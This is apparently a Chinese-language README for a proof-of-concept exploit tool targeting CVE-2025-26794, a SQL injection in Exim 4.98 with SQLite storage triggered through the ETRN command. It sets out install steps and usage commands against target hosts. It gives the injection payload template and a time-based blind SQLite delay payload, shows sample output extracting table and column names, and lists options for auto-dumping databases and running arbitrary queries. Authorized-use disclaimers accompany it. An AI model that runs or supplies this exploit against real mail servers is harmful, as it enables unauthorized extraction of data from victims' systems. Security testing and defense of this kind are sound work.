一个针对 CVE-2025-26794 的概念验证(PoC)利用工具,演示了 Exim 4.98 邮件服务器在使用 SQLite DBM 存储时,通过 ETRN 命令触发的 SQL 注入漏洞。
仅供授权的安全测试使用
本工具仅用于教育目的和授权渗透测试。未经授权访问计算机系统违反多项法律,包括:
在测试任何非您所有的系统之前,您必须获得明确的书面授权。
作者和贡献者对本工具造成的滥用或损害不承担任何责任。
CVE-2025-26794 是 Exim 4.98 中的一个 SQL 注入漏洞,当满足以下条件时发生:
该漏洞允许攻击者:
# 克隆仓库
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# 安装依赖(无需额外依赖 - 仅使用标准库)
pip install -r requirements.txt
# 赋予脚本执行权限(Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
ETRN #',1); <MALICIOUS_QUERY> /*
该载荷利用 ETRN 序列化处理器中的过滤缺陷,将 SQL 注入到 SQLite 查询中。
使用 SQLite 特有的时间延迟:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
当条件为真时,会产生约 1-2 秒的可测量延迟。
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s
[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users
[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email
如果您正在运行使用 SQLite DBM 的 Exim 4.98:
该利用工具使用二分搜索高效提取字符:
unicode():获取字符的 ASCII 值substr():从结果中提取子字符串sqlite_master:用于模式枚举的系统表pragma_table_info():列元数据提取欢迎以下方面的贡献:
请确保所有贡献包含:
本项目仅用于教育目的。请负责任且合法地使用。
XploitGh0st
如果您使用本工具发现漏洞:
请记住:能力越大,责任越大。请以合乎道德和合法的方式使用本工具。
| 选项 | 描述 |
|---|
host | 目标主机名或 IP 地址(必填) |
-p, --port | SMTP 端口(默认:25) |
-t, --timeout | 套接字超时时间(秒,默认:30) |
--threshold | 检测的时间延迟阈值(默认:0.8 秒) |
--test-only | 仅测试漏洞,不进行数据提取 |
--auto-dump | 自动转储数据库结构及数据 |
--interactive | 启动交互式 SQL 查询控制台 |
--table TABLE | 指定要提取的目标表 |
--columns | 提取列名(与 --table 配合使用) |
--query QUERY | 执行自定义 SQL 查询 |